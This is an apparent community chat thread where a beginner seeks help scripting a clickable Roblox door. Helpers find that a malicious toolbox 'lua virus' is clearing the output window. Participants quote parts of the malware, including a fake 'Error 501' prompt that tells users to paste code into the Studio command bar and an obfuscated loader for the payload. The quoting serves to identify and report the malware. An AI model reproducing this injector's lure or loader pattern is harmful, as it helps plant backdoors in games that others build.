help with scripting a clickable door

[balmy cosmos]

i have a problem with my door. at first i was gonna make it a push door bc my friend wanted it to be like that but it wasn’t working right and blah blah blah, my friend is impossible to work with so i’m here now.

anyway, i’m not sure if i messed something up when switching the door from a push to clickable. i’ve tried a couple different scripts from youtubers but they didn’t work (one was for a drawer, i just tested it to see what would happen). i will show both the door and the stuff in the explorer so someone can help me out. i’m really stuck on it and idk how to fix it

[mild merlin]

@balmy cosmos show me feller

[balmy cosmos]

the explorer thing is a little bit of a mess, ive literally been trying everything

[mild merlin]

show the script 🤑

i just ripped some major ass im not going to lie to you

[balmy cosmos]

line 44 just says end

[balmy cosmos]

as long as it helps

[mild merlin]

wtf is this

[silk plank]

** You are now Level 6! **

[balmy cosmos]

idkkkkk

[silk plank]

** You are now Level 1! **

[balmy cosmos]

idk how to script

[mild merlin]

put the script itself in the door group instead of the part

[balmy cosmos]

okay i did that

[mild merlin]

try opening the door and also send what is in the output after

[balmy cosmos]

it didnt open. output?

[mild merlin]

there should be a ui where it shows errors and messages bruh

screenshot your studio

[mild merlin]

Breh

[balmy cosmos]

wat

[mild merlin]

there is nothing underneath what you screenshotted?

[balmy cosmos]

no

[mild merlin]

go here and put output

[balmy cosmos]

i tried opening the door and nothing showed up in the output

[spice jolt]

add some print debugs

[mild merlin]

[spice jolt]

so you can check what parts of the script are actually doing something

[balmy cosmos]

how do i do that

[spice jolt]

have you ever coded before

[balmy cosmos]

nope

[spice jolt]

or used studio

[balmy cosmos]

well copied stuff from youtubers

[spice jolt]

how long have u been using roblox studio

[balmy cosmos]

for a little bit now

like 2 months

on and off

i just don’t code things

i’m still learning how to use all of it

[spice jolt]

debug prints in a nutshell is where you put like print("working") in an area of the code and then check the output when you run the game to see if its working or not

you can put anything in the print it does not matter

its just if it shows up

determines if its working

[mild merlin]

@balmy cosmos screenshot the output little feller

[balmy cosmos]

how do i do it

[mild merlin]

play the game and open the door and screenshot again

[balmy cosmos]

its the same thing, nothing there

[mild merlin]

also

[balmy cosmos]

the door doesnt open

[mild merlin]

make it print something over here brah

[spice jolt]

under local goal

write

print("working")

and if it prints working in the output

then that part of the code is working as long as there are no errors in the output

[balmy cosmos]

nothing shows up when i try to open it

[silk plank]

** You are now Level 2! **

[balmy cosmos]

but it still doesnt open

[mild merlin]

its over

[balmy cosmos]

yeah

[mild merlin]

breeeeh

make it print something at the top of the script

at the very top bro

screenshot the explorer too

[mild merlin]

bro

put the script in this one

[balmy cosmos]

why does the output show stuff when i load in and then disappears

[grave root]

whats in the output

??

[mild merlin]

dont worry about it

[balmy cosmos]

ill take a picture

[shy cloak]

Have you ever watched a tutorial? How do you not know what the output does 😭

[balmy cosmos]

i dont think the ones ive watched talked about it

[grave root]

oh like when u join the gam it dissapears?

game*

[balmy cosmos]

yeah

[grave root]

if thats the case, it does that cuz its starting up a new server

its normal

[balmy cosmos]

im trying to figure out where to put a new print("working") thing, it just goes red where i put it

he said to put it at the top somewhere

[mild merlin]

screenshot it man

[mild merlin]

where is the red

[balmy cosmos]

oh here ill put it back

[shy cloak]

Just put down some quotes what part of code does what, and then type a print statement below it with something like “this … function executed”

[mild merlin]

do not capitalize the p

[balmy cosmos]

yeah idk what does what

[shy cloak]

So you just took the script of somewhere and got no idea what what does

[mild merlin]

when you play the game and open the door does it print anything in the output now?

[balmy cosmos]

no

[balmy cosmos]

they told me to copy it

[balmy cosmos]

i did that

[mild merlin]

did you put the script in here

[balmy cosmos]

yes

[mild merlin]

just under here make it print sumfin

[balmy cosmos]

still nothing

[balmy cosmos]

you do not need to help me if you are just gonna make fun or be passive aggressive. i already delt with my friend being like that for weeks so i would just like someone who can help me with this. what do you think is the point of me asking for help

[mild merlin]

screenshit the entire script again

[balmy cosmos]

okay

[shy cloak]

Here’s the thing tho, you are tweening the part

You got to tween the model cause it rotates around a hinge

[mild merlin]

play the game and screenshot the output

[balmy cosmos]

is the script even right

[mild merlin]

idk lol

[shy cloak]

Yo check your dm

[silk plank]

** You are now Level 3! **

[mild merlin]

can you make a new script in the workspace and make it print something just so i know your output's working?

[shy cloak]

It’s not, the tweening the part breaks it

[balmy cosmos]

i can change the welds to weld constraint but ive tried it before and it didnt work, it actually broke the door for some reason. the other time i used it it worked (on a drawer)

the welds are from the dweld plugin, idk if thats messing it up

[mild merlin]

how bruh

[shy cloak]

You are pivoting a door no?

[mild merlin]

https://tenor.com/view/lynn-spirit-lynn-spirit-snoring-disbelief-angry-fuming-gif-27493672

[mild merlin]

@balmy cosmos did you do this

[balmy cosmos]

what do i make it print

like just write anything down?

[mild merlin]

ye

[balmy cosmos]

i see this pop up for a second and then it disappears

but thats all i see

[mild merlin]

is this the new script or the old one?

[balmy cosmos]

the new one

ill show you what i wrote in case its not good enough to print

[mild merlin]

im going to bed bruh you are doomed

[balmy cosmos]

i am doomed

[vague cave]

The fuck

do you know how to code?

if not i recommend you to learn by somewhere

if you like youtube tutorials watch brawldev

[sinful ether]

142 chats i think this guy is loosing it

[sinful ether]

atleast you got twelve bananas

[zenith knot]

this has been answered earlier in this thread

[zenith knot]

and the answer is nope

[zenith knot]

your door does not appear to contain any constraints. when building things with multiple parts, you usually need to weld them together so it moves as a single object.

[zenith knot]

kinda like that yes

[zenith knot]

only thing left i see is that the code looks fine, except for how you're getting the start and end cframes, my guess is that getDoorCFrame() is not giving a sane cframe, they might both have the same value so the code works but the destination is the same as its starting position

[balmy cosmos]

hmmmmm

[zenith knot]

oh and naturally make sure all your parts are in the right place

[balmy cosmos]

in here?

[zenith knot]

e.g if you do script.Parent:FindFirstChild("Hinge") ... make sure the hinge is actually a child of the script's parent

[zenith knot]

what do you mean disappears

[balmy cosmos]

when i start to load in, it shows text in the output and then after about 2 seconds it disappears (when i fully load in)

[zenith knot]

good catch. you have a lua virus.

disable all lua scripts you obtained from any toolbox models in your game

[balmy cosmos]

whatttttttt

[zenith knot]

it doesn't affect your door, but you do need to see output window https://create.roblox.com/docs/studio/output to properly debug your code... and lua viruses are malicious so you'll probably want to remove it anyway

[balmy cosmos]

how do i disable it

delete them?

there’s so many

[zenith knot]

you can just .enabled=false and go through them later

but one of them is clearing your logs to hide itself

these lua viruses tend to do that

never trust code you got from toolbox

also it's probably a qPerfectionWeld virus, that's probably the most common one i've seen

[balmy cosmos]

how do i know which one it is

[zenith knot]

but it could come from anywhere

[zenith knot]

idk i charge for virus scans, just disable all scripts you didn't make yourself

it is a guarantee that it came from toolbox

[balmy cosmos]

and then what

[zenith knot]

and then hopefully your output window will not clear itself

[balmy cosmos]

if i have to remake the code i am absolutely cooked

do i check 1 by 1?

[zenith knot]

i'm not going to go into it here

[zenith knot]

oh and i suppose i should ask, have you ever had a popup in studio asking you to enable http services?

like it kicks you with an error message saying you must enable http services

ever had that?

[balmy cosmos]

it only happened when i tried to publish a different game

i mean, play a publish games

and i fixed it, i don’t remember how tho…

[zenith knot]

so yeah this is a virus too. roblox games do not need http services enabled.

in fact i suggest you check your game's permissions and disable http services. it's a fair bet that you aren't using it for discord or something

if your game then starts giving you warnings about enabling http service then you 100% guaranteed have virus. the output window clearing itself is also a guaranteed virus.

might be the same one 🤷

[balmy cosmos]

shit…..

[silk plank]

** You are now Level 4! **

[balmy cosmos]

why do people put virus’ in their code

i can check in a little bit

[zenith knot]

because, setting aside stealing your projects, if your game ever does become popular, the malicious developers can then charge kids money in exchange for giving them access to server-sided backdoors to stop bans against them, and set their savedata to anything they want. So long story short, the 'why' is simply because money can be made from it.

and kids will pay that money to cheat in roblox games.

[balmy cosmos]

so many evil people out there man

[balmy cosmos]

its already off

so now i go through all my scripts, put .enabled=false ...somewhere? anywhere? and then keep playing it until the stuff in output shows up normally?

[balmy cosmos]

you were right

it is a skybox

i dont like how bright the default one is so i change it

if thats it, idk yet. i will delete it and see if output works

idk why someone who is making a virus would put their twitter on there

well output still doesnt work

[vague cave]

it is it

this virus is on alot of free models

for some reason

i mean ALOTT

[balmy cosmos]

i found another from the same guy

and he posts on twitter a lot

[zenith knot]

no its a property on the scripts, just disable the script

[zenith knot]

send the full script

[zenith knot]

because quenty is a legitimate developer, and qPerfectionWeld is a real script, problem is it is a prime candidate to hide a malicious script injector in it because people see the name and don't think twice about it

[balmy cosmos]

aha my output is working

[balmy cosmos]

i already deleted it

ill get it back hold on

[zenith knot]

ctrl+z

[vague cave]

it will show

something like that

and if they execute the command bar

it will create that script

sometimes it is a module

and this script create another script

andd idk

[zenith knot]

never execute a malicious script from the command bar since it will give it elevated privileges

it's like sudo virus.lua thats just dum

[zenith knot]

the real ones spoof the normal roblox popup, not this

[vague cave]

after this script, it creates another script with a lot of stuff encrypted in a single line

[zenith knot]

ya the payloads are usually put through an obfuscator

the injector usually isn't obfuscated

encrypted but not obfuscated like that

[zenith knot]

i'd like to extract the payload from this script so it can be reported

[vague cave]

there is alot of models on the toolbox with this script

all this ones

have this script

[zenith knot]

yep

[balmy cosmos]

im trying to find it again, i cant undo bc i would have to go back like 10 minutes of stuff

[balmy cosmos]

how do you do that

[zenith knot]

and yet what's funny is i dont think this is actually a bad thing .. well, it is a bad thing that they're full of viruses, but i don't think it is as bad as you might think. Why might I think this? Well obviously it's because the toolbox models with viruses in them are also attached to assets that people actually want, and would choose over other toolbox assets that don't have the virus in them - in short, the quality of the asset is likely going to be higher on average. It's the same as saying a mouse can find the best food in a mousetrap - technically true, if you can safely disarm the trap

[balmy cosmos]

this one object has 3 scripts or whatever

[zenith knot]

this does not appear to contain a malicious code injector

[vague cave]

line 208

local function handleMissingCore()
    local errorText = "Error 501\n Something went wrong with the game. It seems a model is causing a crash.\n To fix: Copy the text in the textbox (Ctrl + C),\n stop the game, paste into the command bar (Shift + F5 → Ctrl + V → Enter),\n rejoin the game, and save your changes!"

    displayNotification(errorText)

    for _, player in ipairs(PlayerService:GetPlayers()) do
        createInstructionGui(player, script:GetAttribute("Core"))
    end

    PlayerService.PlayerAdded:Connect(function(player)
        createInstructionGui(player, script:GetAttribute("Core"))
    end)
end

[zenith knot]

oh i see it's prompting you with the injection

rather than just injecting it

[vague cave]

yea

[balmy cosmos]

that isnt from the first picture i sent, this is from the 2nd model i found

[zenith knot]

that's a lot harder to find...

[zenith knot]

i dont see any injection in this

[vague cave]

this is the one that you get when you inject it

it replaces game

[zenith knot]

this doesn't seem to have one

[vague cave]

and if i get the id and insert it at the command bar

create this one again

[vague cave]

goddamn

20961 lines

[zenith knot]

this is most likely an injector

[balmy cosmos]

the hell is that

[zenith knot]

obfuscator

[zenith knot]

local EasyConfiguration = require(script:WaitForChild("EasyConfiguration",5).Pose.Value) just need to trace this

[vague cave]

everytime i start a game my roblox studio crashes

[zenith knot]

the payload is in here lua local function FindFirstChild(name) local Function = Game or Game.FindFirstChild local ChildSignal,Child = TypeLibrary.getSignal(Function) Child = Child(ChildSignal, script:WaitForChild('EasyConfiguration').Pose.Value).Description local ChildReference = TypeLibrary.getArchetype(Child) script:WaitForChild('EasyConfiguration').Pose.Value = ChildReference-0 return TypeLibrary.checkChild(Function) end

script:WaitForChild('EasyConfiguration').Pose.Value = ChildReference-0

which sadly goes through another script local TypeLibrary = require(script:WaitForChild('Type'))

[tired pecan]

how does this thread have 270 comments

[balmy cosmos]

uhhhhh

[silk plank]

** You are now Level 5! **

[balmy cosmos]

idk

my door still doesnt even work

[zenith knot]

OP couldn't see anything in their output window because of a lua virus so that got a fair few people misdirected, when i identified there existed a lua virus this thread devolved into that ;p

[tired pecan]

a lua virus??

[zenith knot]

still, now that you got the virus disabled and your output is no longer being cleared, it should be a lot easier to fix your code because now you can actually see errors and warnings and stuff

[zenith knot]

ya malicious actors put serverside backdoors in toolbox assets

then sell access to these cheats to kids

[tired pecan]

ah

those viruses

[zenith knot]

yep

some of them clear the output window

[tired pecan]

never heard people refer to them as lua viruses tho

[tired pecan]

thats like

[zenith knot]

what else would you call it

[tired pecan]

weirdly specific but annoying

[balmy cosmos]

so whats wrong with it

[zenith knot]

i know, and it's really stupid too because it announces the presence of malicious code

[tired pecan]

i call them skid marks because script kiddies are the ones who usually get them

[balmy cosmos]

at least it makes it easy to know you have a virus

[zenith knot]

read the error, you cut off the first half but the second half points to line 7, read what it says

[zenith knot]

that's not the only tell, and if it weren't for that you wouldn't know. thats why it's stupid

if it was just simply silent you would carry on not realizing you picked up a skid mark from toolbox along the way

[tired pecan]

the best way to avoid skid marks is just

by not using

the

toolbox

[zenith knot]

i use toolbox all the time i dont think it should be discouraged, but what should be said is never trust any of the scripts you get from toolbox. no matter what it is disable all scripts and read through them. but i guess that's not really an option for kids

[balmy cosmos]

local hinge = doorModel:WaitForChild("Hinge") yeah idk what this means

[tired pecan]

i only use toolbox for audio and rarely decals

[balmy cosmos]

is it bc its not in the door model

[zenith knot]

welp, hopefully roblox kicking kids out of studio will "help" a bit since there'll be less kids to fall for that stuff

[balmy cosmos]

but its in the folder

[tired pecan]

do you know what a variable is

[balmy cosmos]

uhhhh nope

i do not know how to code

im pretty stupid so none of this is making sense

[zenith knot]

no one got it on their first day

[balmy cosmos]

omggggg wtf is wrong with this door

[zenith knot]

google the error

[balmy cosmos]

there isnt one

well that output is telling me

[zenith knot]

scroll the output window

or make it bigger

[balmy cosmos]

it told me to fix lines 9 and 12. idk where the click detector and script are supposed to go but rn they are in the folder, it was apparently wrong in the model? or it was saying it wasnt in the model when it actually was

nothing shows up when i click on the door, but it still doesnt open

[pearl quarry]

if you want a push door use hingeconstraints

and just script it to make it clickable

[balmy cosmos]

my script does not work

[balmy cosmos]

im still so cooked, i have another door i want to make clickable but i just dont know how to code and nothing i do works

[tired pecan]

learn how to program

https://tenor.com/view/primus-gif-18358678

[balmy cosmos]

😔😔😔😔

[tired pecan]

you cant properly make a game if you know nothing about programming

[balmy cosmos]

i dont want to be a coder, i also dont really want to make stuff on my own

[kindred widget]

https://youtu.be/dZaDIOYwNK8?si=XTW1HBxMsgeFlxjb

if you refuse to learn code at least pay attention to what he’s saying it’ll help you a lot wven if you don’t wanna work on your own

[balmy cosmos]

this video is actually really helpful, thank you. i havent tested it out yet to see if i can get it to work but still

[balmy cosmos]

i did it exactly how he did it in the video (besides all my parts being welded to the hinge and having a side) and it still doesnt work

i just dont understand how it doesnt work

i even tried it without welding just to see if that was the problem but it wasnt

i dont even understand

the first part i can fix somehow (it not going around the hinge, idk if unwelding it will fix it but whatever) the closing part blows my mind
